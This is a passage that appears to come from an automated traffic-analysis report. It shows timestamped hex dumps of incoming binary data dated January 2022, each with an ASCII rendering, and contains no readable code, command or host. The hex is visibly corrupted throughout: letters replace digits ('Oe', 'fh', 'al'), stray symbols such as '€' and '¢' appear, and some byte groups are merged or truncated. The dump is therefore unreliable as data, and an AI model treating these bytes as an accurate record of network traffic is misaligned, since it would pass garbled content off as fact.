4d 95 6d ba 7a e8 ec Oe 1c fh 23 01 8a a0 58 40 56 e5 fe 24 4f 4f 9c e2 1f ff a6 a9 9d 2d 70 ac 69 ef 7b al fc Oc c6 e8 68
57 28 91 6a 23 86 2a 10 ce 83 10 9e 9d 71 a3
Data Ascii: 1[?|G]G#RC$v20@zzD0>$MeBxS&C~)/D/nhs1E#C,|Q)drd ,i#P1c=J?/0i$0"ol(W\T&qp[Mmz#X@V$OO-pi{
hW(j#*q

2022-01-14 03:59:48 UTC 3145 IN Data Raw: 34 62 52 d0 50 1e 3c c7 6a 58 6b ca ca 23 cd c8 10 3f de 64 37 16 a4 31 4c 7b 2b dc e3 a8 84 22 13 ea a7 d2
03 9b 44 8a f6 4b 70 ea 6d 3e 19 57 3f f5 53 f0 d1 07 a2 49 ad 48 5f 57 72 08 bf 7 2e 64 dc 88 8e 7d ab b3 76 42 5d b7 Oa
b8 87 da 6a e7 e7 4c 8 fa f1 4b f9 bc 7a 3d 80 fd ec 18 5d Oe d1 32 ca 73 f8 c9 01 b1 fb 03 19 Ob 08 a7 e6 ab c5 1b d2 87
b8 d5 9d 8e 31 af cd a6 8b 1c f7 a2 d5 d9 f2 e3 e5 8c 4c 5e eb 99 fd ab 61 2e ad e6 5e 70 99 46 bf 4c 04 26 da 4a 7f e8
1a 37 22 26 3c 85 7 b4 aa cb ff a6 12 fd 7c 5a cf 3a 8a Oe 6e 1f e4 d7 8d bf 96 f4 b4 45 8a 87 ea 7d Ob 47 dd 7b e1 30 73
78 de al 19 ae 91 72 09 8a dc 6e cO ab e7 c3 0d 35 3c 72 5a af b3 60 26 62 81 8b 03 e4 9b c0 a0 e4 5a 93 ac 90 7c 34 9c
d1 79 c2 ef 94 al 47 Ob a7 63 ec fd b5 aa aa 48
Data Ascii: 4bRP<jXk#?d71L{+"DKpm>W?SIH_Wr.d}vB]jLKz=]2s1L"a."pFL&J7"&<|Z:nE}G{0sxrn5<rZ &bZ|4yGcH

2022-01-14 03:59:48 UTC 3161 IN Data Raw: 95 6a 36 f9 f2 de f3 72 eb 7c Ob b0 84 16 f2 48 cd 49 8b 73 Oc 3f b3 €9 bd cc 3f 45 16 b9 5e 79 aa 28 {8 2f 96
68 81 de 91 9a ba 3b 68 fc f5 b1 f6 ac 52 7e 99 6b 8d 6¢ d7 9b 5e fd a0 aa 88 69 60 cO 7b 92 1f 8d 9b a9 3c b9 e4 2d 28
d9 f5 ¢8 cf c1 64 47 e0 9b 1f 05 19 5e dd 5¢ 19 13 fb 90 fa 3b 5d 6 19 d4 b3 9f ae 16 6b c8 82 48 0d dc f1 02 5d 9f 81 bf
81 74 15 e8 df ac b5 e0 05 8a 72 08 4e 9a 49 a5 ad 20 30 ad 6d 35 04 b5 a4 31 89 2b 7b 4b 8b 43 f7 1c 03 80 Oe 2a bc 34
€0 76 f9 3f 9f eb 64 d3 f1 88 df c8 7d 46 fb 25 fO b0 bb 9a 7a 88 44 07 cb b9 b1 1f cf c4 4c 0a ab 63 e0 97 €0 5¢ 62 02 b3
3f 4f 5f 68 b7 6a d1 b6 2b 50 41 26 14 cd 0a 9d b5 89 fd 3b 01 a9 38 dc 7b b5 e7 27 03 €6 42 €9 7f c0 2a 86 dd el 86 44
db 14 78 37 f8 60 64 d4 f3 83 a2 5c¢ 8 04 de f6
Data Ascii: j6r|HIs??E*y(/h;hR~kIN {<-(dG"\;]kH]trNI Om51+{KC*4v?d}F%zDLc\b?O_hj+PA&;8{'B*Dx7 d\

2022-01-14 03:59:48 UTC 3177 IN Data Raw: 95 d7 63 43 7b fO f4 4b 68 ce 11 df ce 9a 04 25 0Oa 35 dc 34 e5 24 47 ca 48 77 22 8a 2c 5a cb 54 72 c0 d4 5b c8
ac 3d b0 a7 5b 02 80 f0 79 53 a5 e0 c7 69 28 8e {8 32 bf c9 04 77 d6 68 34 bf 95 74 30 df 79 e8 37 a0 Oe Ob d3 Oa c8 bd
61 75 ca 83 52 c6 41 da 04 78 fd b5 2a 1e €8 02 68 e3 36 ff 71 ad fe af e8 c8 80 de f4 d3 46 d8 d7 80 7a 90 82 e7 Of ea 67
Ob 37 34 91 24 95 06 Of b6 92 c8 e7 aa bd 8¢ bf 67 f5 2e 33 cb 39 2f d0 51 7d ff 27 8e ed 77 5¢ 78 e6 f2 f7 4e 35 10 bd 58
a2 4a 73 c5 9c 4d 92 f5 04 af 86 58 31 7f d7 9b 39 10 1f 19 ed Oe 59 d1 ff fO 75 40 e4 fd 3a e4 b0 35 bd d1 50 ed f3 75 4a
1c 61 0c c8 78 3e 79 e7 d9 b7 ea 07 a4 4a ca 02 ad a0 79 5e 2a 98 b1 cf b4 64 19 29 8a 07 94 b5 24 df 42 14 07 91 ba 4e
11 01 8e 09 27 3a 35 f0 93 a6 60 55 ee d3 81
Data Ascii: cC{Kh%54$GHw",ZTr[=[ySi(2wh4t0y7auRAx*h6qFzg74$9.39/Q} W\XN5XJIsSMX19Yu@:5Pulax>yJy *d)$BN
t5'U

2022-01-14 03:59:48 UTC 3193 IN Data Raw: 34 21 58 c2 1a 52 a4 cd 0f 08 fb 53 3f 8c 6f 92 66 33 96 6e 63 d8 a4 ea 4e 9e 56 41 24 59 12 46 75 6d 38 b6
3107 f4 ea 86 4c 67 f9 dO Oa cO 8b 7c 40 €8 03 6¢ 93 ad d7 8c c8 d9 95 04 92 d2 7 42 21 2a 30 6d a8 04 eb d9 7d 73 87
7073 5d f4 38 7d 04 2a bc dc 19 4e 16 50 81 77 62 8c e5 7d d7 44 98 eb cc b3 49 84 d0 38 1c 98 bc e4 1c 03 b7 44 f8 5f
95 ed bc ea 62 9c f4 14 2e 4d cc b3 6b 5¢ 38 1c 1d 33 59 28 e6 c2 12 a4 d3 a8 3d f6 54 Oe d3 16 94 2a 8e 3 25 9b ba 3f
9257 a8 62 62 a8 a7 92 24 bl el 6e da 34 14 75 1a 29 4e 5a 15 e5 8e fa 6e d1 51 33 97 95 c8 64 48 44 41 05 a5 23 78
8a 6f Oa 86 5f 37 43 04 ac e0 2a cf 4c 2f d3 6b 3a 34 23 64 b0 78 a0 a2 8a 9a d1 f9 db 1f 9a 47 72 69 81 23 75 db 5 30
9b 4d 16 21 b4 16 f5 d0 1b 1f b3 1e a7 94 ff 17 f4 07 53 5d
Data Ascii: 4IXRS?0f3ncNVA$YFum81Lg|@IB!*0m}sps]8}*NPwb}DI8D_b.MK\83Y (=T*%?Wbb$n4u)NZnQ3dHDA#xo_7C*L
/k:4#dxGri#tuOM!S]

2022-01-14 03:59:48 UTC 3209 IN Data Raw: 2c 2c b0 2a 6b 97 de 5b 27 Oe 69 22 c4 al 5b 87 b0 68 46 fd 7e al ba ba 4f f1 7b dc 70 34 ba b4 f1 ea fd 00 7b
3c ed 5f 8f 25 db 65 85 5a 4f 54 9b e7 ff 2a a7 e2 16 9e 16 96 d6 09 45 ab 5d d5 4e b7 37 c9 13 le 42 96 94 7c 76 f2 e9
ad cd 7a9c 9a d1 6f 7d b2 74 e2 a0 2d 2d 91 93 3c f8 34 68 02 33 d6 8 ee 98 6f d7 26 aa 7c 82 75 68 e8 32 69 6d al d4
fa c8 89 ee 2e ba 4b 51 b1 05 aa 5e 73 48 2b b9 25 cf db da f0 4c 78 9¢c 9a 73 a0 da 74 9e 70 de 76 73 a7 20 39 1c ac a9
1b cd 45 4b e6 Oe ad e3 c6 e4 63 3e 6f ba 04 96 c0 6f e8 73 21 4c e7 2a e7 ee fa 31 06 7d 47 9c 37 b1 88 98 fe 51 f2 1c
59 fc 02 c0 98 ef 24 10 d3 f2 31 45 b5 81 21 05 86 9f 68 a4 35 7c 88 95 02 fe a2 f1 57 90 60 6b d4 c5 6e f8 78 5a d3 49 4e
cf d3 08 51 83 04 96 42 f5 dd 57 d8 ce b4 3f a2 32
Data Ascii: ,,*k['i"[NF~O{p4{<_%eZOT*E]N7B|vzo}t--<4h30&|uh2im.KQ"sH+%Lxstpvs 9EKc>00s!L*1}G7QY$1E!h
5|W knxZINQBW?2

2022-01-14 03:59:48 UTC 3225 IN Data Raw: 9a 4d 43 ef 9 91 6 79 31 2d 7a 7f ¢4 7b 60 c5 2b 14 62 ea 1b f9 fa 12 77 €9 42 09 97 19 1b 7a a2 0a 22 14 bf
2266 13 cf 38 84 a1 01 99 d6 f9 d6 de 7a de 69 8d 8a 8d 7e 63 dd ca cd 57 7 fa 17 99 67 1f 2a 7c 90 a0 c4 f8 7d 67 af 10
84 07 56 €9 58 86 4e 48 01 49 15 €6 13 7f ef 79 89 fe 11 ac 86 77 9e 60 36 21 01 ad 13 cd a7 b1 86 37 fb 61 ce d1 67 8
69 cc db Oe c7 f8 09 2a 17 7 d4 c9 53 41 1d b9 f3 Oe 2e e4 c9 c5 5e 7b 54 06 2 f6 37 f6 d2 95 74 55 Of ea 43 87 da 4f 7b
31 2f e2 cf 9c d0 7f 63 b2 b9 2b ad d0 9a 60 5e 9a 5b e7 40 9d d2 fc 67 37 ac 2b 7c 16 04 d3 09 7b 84 51 €9 51 1a 27 19
3a31 1b 1c 3 1e 08 1d bc 42 c1 d8 26 d3 d3 f6 b8 68 a5 52 a2 99 68 87 1c 2f b3 e6 f7 b7 49 f6 5a a5 a4 57 38 9d 05 dc
74 74 d7 56 73 29 ed 73 8 8 59 80 1c de bf 97
Data Ascii: MCy1-z{ +bwJz"'f8zi~cWg*[}gVXNHIyw 617agi*SA T 7tUCO{1/c+ N@g7+{QQ":1B&hRN/IZWSttVs)sY

2022-01-14 03:59:48 UTC 3241 IN Data Raw: 65 aa 9e 16 75 d2 f8 01 ff 5e c¢5 7d 42 3a c2 3e bl e3 6d 6e ed 2e c1 c5 19 98 7a 6d 21 e8 b6 ef fd 7a 19 5b 2f
2c db 4f 15 1c 22 ¢7 56 7e ea 87 59 70 26 d3 2f fd 17 a3 b0 03 6f 03 25 fe 4b 3c 8f 87 0a 16 96 7a eb d8 92 81 3f 3a Je 66
9a al 71 32 9a 0d fb 81 9b 2f d2 96 b5 4d df 44 f7 a8 11 44 al 0d 42 82 a3 01 93 01 d5 2d 2b 6a c4 €0 dc 4c 71 34 58 Ob
98 33 7c fe d8 bc 4e 50 fa d8 f5 26 b5 e8 Ob 36 e2 cc fa 39 79 94 1b 5d 50 a9 b7 9c 02 5f 5b ac 58 bb 56 fd 75 67 al 67 3e
ce 6b c3 ed 2e 0a 89 f2 19 f5 €8 9d 52 5f 67 4a a2 65 33 af 35 94 f9 01 a6 1f 41 09 39 9d 60 41 1b 77 b4 2a 2d 6d 27 dc
ea 6d a6 f2 d3 6e a4 64 ac 2b 7a e6 fb 51 58 2¢ bc 30 06 04 c1 d6 15 aa ac 2f 1a ad 6¢ ef 89 9b 9a 54 €0 6d 59 56 95 8¢
70 4e 64 7a d9 10 91 7 b6 63 5f bd 79 4c €0 b8
Data Ascii: eu}B:>mn.zm!z[/,0"V~Yp&/0%K<z?:fq2/MDDB-+jLq4X3|NP&69y]P_[XVugg>k.R_gJe35A9  Aw*-m'mnd+z
QX,0/ITmYVpNdzc_yL

2022-01-14 03:59:48 UTC 3257 IN Data Raw: d4 ee fe 05 26 f9 25 aa 21 95 ef 62 ca a5 28 82 53 08 6f f7 38 a3 97 93 04 48 19 38 8d 93 48 35 9e a4 ef ff 3¢
68 4a 5e 07 65 c6 fa 68 bc a7 f9 a0 39 ca 13 19 72 27 b2 8¢ e0 53 9b 22 9d 6e 96 2b a5 23 8a 14 37 e0 b2 cf 1b 7b 0a 58
56 b6 9e 46 c6 d8 3b c3 03 76 7f 6b 7e b9 c3 b6 e6 6e a3 a7 de 8c 99 43 71 12 66 83 97 f9 be 40 c3 a7 33 9a a0 62 ba 12
ce 49 b9 e0 53 3f 5f 9e 31 ea bb de 4c 48 50 ee 91 96 39 b7 66 €0 bc bd c4 ee 5f fd 72 el d4 ca 8b 41 1e 8e 42 a7 c7 b3
4c a4 97 dd 44 3e 68 ca 41 6¢ 6b a6 5c 29 cd 9b 8 28 3d e5 f4 1a 00 8e f3 6 47 1d 9f 30 16 74 79 8e 71 2c a4 5e ba 44
b7 a7 92 48 90 47 5e 21 eb 62 9c 2b al db 09 84 71 5f a9 09 9b 1f 80 c1 35 14 4d 58 ef d2 da 16 56 23 f7 07 54 32 10 67
58 7¢ 9d 15 85 b9 c1 ¢5 19 10 81 ea 8b 20 c9 a0 a7 ed
Data Ascii: &%!b(So8H8H5<hJ eh9r'S"n+#7{XVF;vk~nCqf@3bIS?_1LHP9f_rABLD>hAIk\)(=GOtyq,"DHG"b+q_5MXV#
T2gX|
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 3273 IN Data Raw: 50 90 d4 dc 4c 52 77 06 4e c2 ea 91 67 04 c5 e2 cd 45 5f 97 77 5d b0 3d 42 e3 de 8f 85 08 f4 07 f7 7d e2 a7 ea
36 ae 56 02 8b e2 f3 2e 67 fb 69 89 b9 dc 6f f8 a5 aa ba d2 82 71 01 d5 df 13 8b f2 40 db 07 b9 59 15 5f a2 5f 48 8a d9 46
44 15 91 47 bf 0f a2 40 16 67 06 78 17 cd 8e 86 d4 bf 28 63 c0 e8 ca aa c8 f4 da c5 50 c6 16 f6 23 40 f0 01 dd 72 53 1f c6
67 43 69 44 be 25 71 28 b6 ac ff 23 03 66 45 b7 24 9e 00 2c 2e 9a 76 44 ea 9f 1c 1f 6d ec 02 6d 02 Oa a9 5d al e6 30 7f
1a 36 9f b5 1b a5 88 13 ba 71 b5 d2 8a ef 57 3e 70 46 a7 d9 74 a8 af 42 5d 02 bc f2 5e c6 64 f1 94 4f 4c ed cd 46 5b f9 e4
fe 4a b9 e3 b5 Oe 9b dO 51 fa a0 fO ed 6a 07 3b 43 1b bc €9 65 d6 15 c5 36 d8 09 c4 61 d0 b3 a8 c2 f6 80 63 7c 33 21 ef f7
e7 fb 8b 90 1f 76 8e cf 61 e3 b3 ff aa c3
Data Ascii: PLRWNgE_w]=B}6V.giog@Y__HFDG @gx(cP#@rSgCiD%q(#{E$,.vDmm]06qW>pFtB]*dOLF[JQj;Cebac|3!va

2022-01-14 03:59:48 UTC 3289 IN Data Raw: 3f c1 2f 25 52 5e f8 47 63 ef ec e7 11 5f 95 b9 56 b7 4c 8b 11 66 c7 18 fa de d5 a2 17 70 fd 1c 8c 6f Ob 04 34
68 aa 26 4b 7d ea e4 87 08 ed 1b ac b6 4e 9f 2e 2c c0 e0 b4 31 12 54 15 e2 d0 fd e3 e6 72 e5 f6 81 96 ff 96 d8 8a 06 79
03 71 0b f2 8f d3 37 18 1b ce 1c 34 7b 17 b9 af 77 70 b3 23 35 6d 90 c9 a6 47 27 55 7f 73 75 23 7a 2a d9 el 51 00 d7 ef
ef 30 86 ed 2d b2 aa 31 0Of 79 ff 93 53 5d cb 4b 48 6e 7f dc c¢5 67 31 98 a9 08 fd cb ac 05 25 cb 85 da 8d 94 9a 70 71 f6 2¢
47 16 ¢3 55 80 d7 bc 2d 40 7b 32 02 8d 2c 11 Oa e6 ac 78 95 4b 60 1le 74 56 81 e4 04 47 71 la eb ce 14 e8 8f 57 b9 a2
c6 €9 e0 6b Ob ba fd 57 ea 71 28 8c 2a a2 c5 al 71 38 de 68 b1 34 13 70 c9 b6 b2 8e 95 74 73 52 ca ba 8a 42 73 f1 69 9d
fe 37 2d d5 74 73 Of e0 7 2e 0f €9 27 02 14 20 50 6d
Data Ascii: /%R "Gc_VLfpo4h&KIN.,1Tryq74{wp#5mG'Usu#z*Q0-1yS]KHNng1%pg,GU-@{2,xK tVGgWkWq(*q8h4ptsRBs
i7-ts." Pm

2022-01-14 03:59:48 UTC 3305 IN Data Raw: 9f ¢8 79 08 f0 59 8e a7 c6 f6 7 0d af 83 8f 04 91 f4 7b f6 8f 13 63 7e 8e df 9c 0d d2 89 d9 d3 ee 08 d2 cf 61 7f
90 01 d7 9a ce 1d 04 33 94 93 2b 55 b3 5b bb f8 86 fa f7 cf 3d c1 51 5d db a8 ab 46 d1 ea 5b 1d c4 ef ae 7b 36 0 b7 43
c4 1b a2 56 be b7 95 80 e2 da 96 22 3a bc a7 Oc 2a b9 97 d0 a3 79 27 8f 5¢ 48 de 67 01 54 cf 09 ad 37 4c dd 8c 09 b8 88
6 1f 8b ba 5b e0 84 80 53 0d 7 30 43 04 ac f1 b0 07 42 8a 7b 65 €9 19 5f 5f 20 20 63 83 77 96 58 17 83 41 c2 fa 79 2a a5
71 40 ae 66 2a 57 c0 d7 cf 62 c8 2f c4 2f 85 30 61 b2 a2 e6 70 1d 6f 5e 21 ac a2 aa 6e 08 17 fd 51 6f 10 fe 86 10 69 8b 32
b5 39 7c 41 b5 22 a0 34 a9 ab cf ac ea 14 8e dd 07 5f 15 96 ca 5a 34 e3 13 9f 20 94 48 30 14 e8 c2 c9 99 60 34 53 5a 8b
94 a6 99 3a cl 3c 02 0d b2 f4 b6 fe 22 ae 8b
Data Ascii: yY{c~a3+U[=Q]F[{6CV":*y"\HgT7L[SOCB{e__ cwXAy*q@f*Wb//0apo”*nQoi29|A"4_Z4 HO4SZ:<"

2022-01-14 03:59:48 UTC 3321 IN Data Raw: da da 20 48 c¢7 cf db 9d d9 57 2a 75 78 44 aa c8 49 17 67 07 f1 81 63 bc 7e 71 19 60 ab a7 95 37 87 af 2b 51
3763 0c d1 05 e6 a8 el a3 83 dd 46 d9 b0 b9 d8 87 67 21 8f 2d ea 88 cd 96 9a 86 bl a2 9d ca 1f 70 37 52 d6 cc 7a 92 33
1a b3 bf 09 64 €9 d5 9d 07 ac bl c4 c9 c1 9a 8a 68 0a c7 a9 17 30 2d 07 f0 f3 81 35 0f e0 e3 99 dc 23 bc 15 8¢ 09 91 7d
8e 2e af b4 84 f2 0d c4 ce aa 56 ee cd f8 87 47 30 74 18 cd 6e 9d cb f4 a8 c5 23 a4 le db 1b 59 fO 6f a4 05 42 8f 9¢c 73 65
2d a5 84 78 1f 03 ce d3 aa 96 el 5d 52 c¢6 bd ab 00 bf 8b 63 f5 85 bc c2 7b f4 b8 8f ef 42 74 83 7d 9e 29 6e 2f d1 6e 5f 87
dc bb 5e 89 35 0a fa 8d Oc 50 86 cd 8a 10 76 31 70 58 b2 57 2b 2d 88 c2 30 aa bl 7a aa Ob c4 63 32 5e 39 71 7b b2 90
e5 e4 b3 5b cd 29 94 58 62 9e 57 d7 26 83 2a 72 22 d3
Data Ascii: HW*uxDlgc~q'7+Q7cFg!-p7Rz3dh0-5#}.VGOtn#YoBse-x]Rc{Bt})n/n_"5Pv1pXW+-0zc2"9q{[) XbW&*r"

2022-01-14 03:59:48 UTC 3337 IN Data Raw: ad f3 08 5f fc c0 37 9f 1a e2 c9 el 81 e8 31 82 43 ef 39 27 2b 4f a0 a5 f1 18 9c bb 1c 0d e2 03 €9 5b 23 51 59
7e fa ff f7 80 95 a0 €9 59 79 79 c6 8e c0 08 54 b5 08 f8 3c 4b 60 3a bf 61 f1 8a 32 13 ¢5 70 6d 3f 4d al 82 e3 cc 7e 6d 2e
93 14 09 26 12 e5 f4 c4 41 87 90 84 cf 15 bf b8 de 4a 42 04 b8 54 43 €0 ff e0 dd 25 4f 7b 9d 92 e4 81 b6 0d 0d 3c bf dd 78
78 3a 49 58 6¢ d7 40 al Ob 47 db 1a b1 55 5¢ dO b3 ¢5 6b f3 a6 2f 99 8d 20 c7 41 6f 4a d8 ca 89 b9 f3 75 02 db 04 6a 63
19 47 6e 32 fb bd d7 8d 78 91 1a cb 77 40 63 9c d9 81 6a 7f 86 85 9a e2 3e a7 3f 71 bf 33 4e 4a b9 e4 6e 5a 6¢ 29 eb 42
79 ff el 4d 22 fa 3f b5 db d8 8f 21 8b c¢5 a6 20 02 63 f4 a9 b0 a9 2a 8f a3 2b 77 03 7e 3a c5 4c fe be a7 f8 2e 52 f2 52 72
94 85 44 2a d2 26 8c 13 b7 64 84 b0 78 24 4f
Data Ascii: _71C9'+O[#QY~YyyT<K :a2pm?M~m.&AIBTC%O{<xx:IXI@GU\K/ AoJujcGn2xw@cj>?q3NJInZI)ByM"?! c*+w
~:L.RRrD*&dx$0

2022-01-14 03:59:48 UTC 3353 IN Data Raw: db 3b de e5 bb c1 b6 e2 06 cf 03 77 39 aa 87 92 16 1c a8 55 f1 60 db 79 d7 8d 70 27 24 2b e8 25 6f 8a b8 18
7269 48 54 46 17 cb d4 fd d9 16 b8 97 b3 89 7d 59 18 38 91 46 06 8d 4f 13 75 €0 94 ab 5e 57 53 90 68 8d c7 be a3 6f 2d
ad 94 d5 07 55 60 17 ac d9 d9 18 6¢ c8 8¢ b3 ef d8 ad 20 cf 42 6f 65 ec b9 e5 67 47 4a 8a d1 da d9 ed 5a e3 c1 Oe 34 c6
5d eb b2 c2 16 96 fd 00 5d dO 79 3c d3 6¢ 77 6e 54 a0 c8 f6 38 25 eb c1 5d 64 45 8d 23 58 a8 f6 d8 f4 29 89 16 bl 26 47
1569 5b cc 79 ad 5a f8 el 77 8c ca 34 96 5a 3e 8d 04 f5 41 48 48 66 fa 6f 81 c6 97 e5 82 47 e2 ae 22 06 23 77 9e 35 c4
1c fa 33 69 90 65 91 f0 d1 6c f9 6a Of af 26 1f 3b d8 4d cb 80 64 ab 9e 6d b5 ae f8 59 43 0f 14 71 70 65 1d 3c 0a 03 d9 45
05 8 2d 80 42 44 89 06 50 6f ab a8 ff b8 b8 23 98 3a
Data Ascii: ;w9U’yp'$+%o0riHTF}Y8FOu WSho-U’| BoegGJZ4]ly<lwnT8%]dE#X)&GilyZw4Z>AHHfoG"#w53ielj&;MdmY
Cqgpe<E-BDPot#:

2022-01-14 03:59:48 UTC 3369 IN Data Raw: a5 d5 2b €0 c3 c9 eb 7f e2 el dc ¢3 11 2f 2¢ 17 ef 9f 2b a4 d8 Oe 5f 4f b6 88 30 a7 2f cd 57 62 4a 34 8d 24 cd
77 9 47 fc 67 f4 58 e1 58 2a b8 Oe 7b 9 42 f1 c5 aa cc 23 d9 ac 65 29 60 2a c3 36 08 11 b5 98 1a d0 03 d0 1e b6 ae 97
51 0a 40 ff 05 3 00 00 3¢ 8a 3c 5d f4 67 35 4c ea a2 dd 82 d7 c6 6d 63 58 be 57 58 c2 9b 36 37 21 f2 57 d5 ed e3 32 5a fa
24 66 32 44 bb f4 85 a8 54 08 6¢ 86 4d 74 al b6 a6 a2 d8 b2 9b 30 60 Oe bd ca 15 9b b3 37 6¢ c3 f9 4d fc Oe f2 cc 0a 04
1567 4b a7 8a 9c 74 6d ff 1e 9a e2 d6 dc 81 a2 47 59 49 b5 df ca 02 5b 71 el 9a ce 06 4f b4 Oc 73 b5 a3 3c e6 7a 9b 56
52 61 ce 2e fb 89 73 bc 03 67 85 4e b8 Oe 29 9b f0 6 d7 d2 1f 71 Of 07 d2 d8 d5 56 20 6¢ 54 7f 5¢ 44 d1 cf 26 6d 60 e8
7e 14 93 Oe ce e2 94 92 39 96 81 3a 13 32 01 bc 88
Data Ascii: +/,+_00/WbJA$WGgXX*{B#e) *6Q@<<]g5LmcXWX67!W2Z$f2DTIMt0 7IMgKtmGYI[qOs<zVRa.sgN)qV IT\D&
m'~9:2

2022-01-14 03:59:48 UTC 3385 IN Data Raw: df 9e c1 d9 6f c1 e6 62 9b ba ef 35 46 04 f2 79 15 85 55 46 6b 88 ac 2d 99 f5 ff 46 8a 3e 1f 77 85 52 c1 a2 26
98 99 13 91 f2 81 44 0a 7d fb f9 de ee 50 84 c6 10 d5 47 a9 9e ef 85 16 a5 64 67 12 d0 37 60 98 36 b3 fb 03 af 9a ad 07
45 4a 92 c5 20 4a d5 fO d6 67 70 b5 b7 ef 33 38 e4 fe ad 8c 34 12 17 10 99 cc 86 8b 7f a2 70 70 94 fO 7b ef fb 41 6d ed 4d
52 a5 5f 22 32 9a cd 07 81 e6 bc 70 24 fe c4 d9 da 9f 14 78 fe 5e 46 eb 01 6b 1e 90 d2 99 c5 6¢ a6 36 d7 ce c4 ad 50 ba
3512 c1 66 08 78 d0 19 43 be 16 99 3b c5 d6 ba 36 ab 35 e0 d5 5e 7b 26 d7 fe e8 c5 68 41 24 01 3e 0d cd 97 60 7a 3¢
b4 39 d3 6a dd 10 c3 6¢ f3 6a 92 50 87 a7 ec 93 77 f3 f8 €9 d2 16 69 8a 7d 9f e4 d9 4e 3a 3f f2 0a f6 a9 17 d5 77 le 50 35
€7 05 d7 92 31 cb ca f3 ba 31 Oe a5 2f e7 ed d8 e8
Data Ascii: 0b5FyUFk-F>WR&D}PGdg7 6EJ Jgp384pp{AMMR_"2p$x FkI6P5fxC;65&hA$>"z<9jljPwiN:?wP511/

2022-01-14 03:59:48 UTC 3401 IN Data Raw: a0 46 ec d3 b9 e0 69 7b 16 ca da 6d ec Oe 57 0a 50 94 61 4f fa 71 81 28 48 a5 92 bf c7 2¢c 73 8e 3f 5d 29 51 0d
04 4f e8 38 69 11 52 02 a6 al 72 ef ac 44 c4 bf c4 65 7b ff ea cO 55 4c de 54 df c7 33 33 16 a6 33 6b 31 4a ee 59 31 40 eb
46 1d 6f 30 23 4b 2b ca 5 4e 35 ba 70 d2 b0 27 26 a2 66 7f 9b ac 95 cb e9 5f e5 28 92 2 44 69 d7 2d e9 83 51 €9 17 18
63999 67 35 58 a8 5e d3 a7 55 32 69 c7 c7 04 1b 3d fa b9 b5 1f f0 71 81 fa 90 80 f6 4c Ob 51 59 3e 68 e2 c2 b6 56 d3
69 54 b4 94 99 79 bf b9 a8 83 9c 4e 0f 51 da bb 5¢ fa 87 c9 ba 21 64 43 de d5 f5 77 f0 58 d7 35 e7 6d e9 e3 62 76 e8 28
le 7927 b2 a7 3f 21 12 2d d2 a8 el 4a 82 2b 1c 35 c0 53 a6 d7 fO d1 47 9e 46 8f 86 56 af 8d f9 20 cd b1 ba 58 8b 9b b5
29 eb de 7e ef 81 bf a6 23 e3 ca 49 06 ff e8 96 d7
Data Ascii: Fi{mWPaOq(H,s?])QO8iRrDe{ULT333k1JY1@Fo0#K+N5p'&f_(Di-Qcg5X U2i=qLQY>hViTyNQ\![dCwX5mbv(y
?1-J+5SGFV X)~#l
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 3417 IN Data Raw: Of e0 d3 46 b5 9a 9b 99 d3 28 82 59 27 56 f5 81 66 06 b3 24 b3 84 90 5a e0 d7 52 ed 83 4a 90 11 8d d2 96 71
54 Oe c8 5f c3 54 53 a4 22 13 99 72 3¢ 51 44 00 d4 1c 24 66 a0 74 Oa d4 fc 88 7a fc 41 44 7a 3a df 74 e6 2d c4 c3 ec 88
00c2 40 06 62 9b 27 02 d9 7a 67 12 97 c5 cd f1 84 fc 90 3a 0d 8a 84 93 3f c2 53 26 fc 7f f1 28 5b 9e 43 2f Oe 77 4b 58 99
e4 7f 46 3c 28 57 cb a0 a6 a2 b1 9a 03 15 25 71 a4 77 88 31 18 fd 42 ec fb de aa 46 3d 98 ff 64 9f cb 07 7e 5¢ 7c c9 1a
04 b5 71 8b fO bb c5 28 5b 31 99 db 3 06 7c c3 ad 80 87 be e6 55 33 57 41 f2 ac b3 d1 c3 cb 6d 80 32 be cf f7 11 8d e8
4d bd cc e6 e6 d1 33 db 4e 1f bc Oe 60 12 74 86 cb 7e c9 d3 6 b0 cd 65 4d c6 af 77 d8 eb ce a9 09 a9 72 d5 08 61 ab 3a
8d 14 a4 89 41 fa f7 47 6d b7 e6 2d 2f 47 eb c6 30 55
Data Ascii: F(Y'VI$ZRJqT_TS"r<QD$ftzADz:t-@b'zg: ?S&([C/WKXF<(W%qw1BF=d~\|q([1|JUBWAmM2M3N t~eMwra:AGm-
/GOU

2022-01-14 03:59:48 UTC 3433 IN Data Raw: 4e f3 3f b6 2c 6 49 bf 38 08 ee 58 a2 25 04 73 6f 79 29 4a be 8e a3 e9 7f 7f 7f €8 58 55 d2 0a 66 d4 c8 b4 6d
59 a9 ef 26 97 8 63 72 6d 40 45 10 52 7c 2c 35 be ba 8b 0e 50 bd d6 57 2a 81 62 2d e4 d7 40 2b c1 87 60 8a 9b e2 7f 36
b0 ea 26 c1 77 be 45 d8 62 9b 6d 47 02 84 cf 64 f8 ac 25 da 9d df 12 3a aa 6f 08 8a 79 10 3b 3f 4d 4f 75 69 54 88 a8 ba
309d e7 87 ce 52 b9 87 22 8d 9a c4 1d a0 91 cb 18 2¢c 34 94 el fe 35 e0 47 8¢ 8 fc cb 85 d7 8e 22 42 0d 8b d2 b3 c6 6e
85 8 7e 45 4d 5a ad 76 41 70 99 e4 17 35 97 la cc bl b7 62 5e 75 45 e6 43 52 84 67 3f da e3 70 68 0d c1 96 b4 d7 3a
91 3d e7 b8 16 7d a8 43 c4 ec 91 1d c2 96 9f 29 46 ab bf eb 8c a0 35 53 f3 5e 8¢ 53 a8 01 a9 e0 63 7a 41 f7 90 40 54 47
b1 f8 8d 67 5f 67 4d f8 aa Oa bb 10 1f 9a al b1 9c 3f 49
Data Ascii: N?,18X%so0y)IXUfmY&crm@ER|,5PW*b-@+ 6&WEbmGd%:oy; ?MOuiTOR",45G"Bn~EMZvAp5b"uECRg?
ph:=}C)F55"SczA@TGg_gM?I

2022-01-14 03:59:48 UTC 3449 IN Data Raw: 82 d1 11 50 5c 2d el f0 48 eb 31 48 8f 35 3¢ 97 03 71 60 20 79 8e 88 13 80 84 21 c1 18 5e 61 6f 93 9¢c 39 02
ba 35 82 4c bb ed 57 59 7d 87 83 eb Oc d4 84 ab ff 77 7b e1 00 8d d9 58 e8 c3 65 22 ef 47 ¢7 dc 43 1f 7b 4d 08 ec d4 6d
€7 d9 2d 8e ca 22 47 a4 6b f0 5¢ 3b 04 02 27 €8 14 13 ¢5 84 06 c9 dO 7f 5b 1d 35 56 7 ac 88 38 44 98 3c 9c 6f 25 13 c3
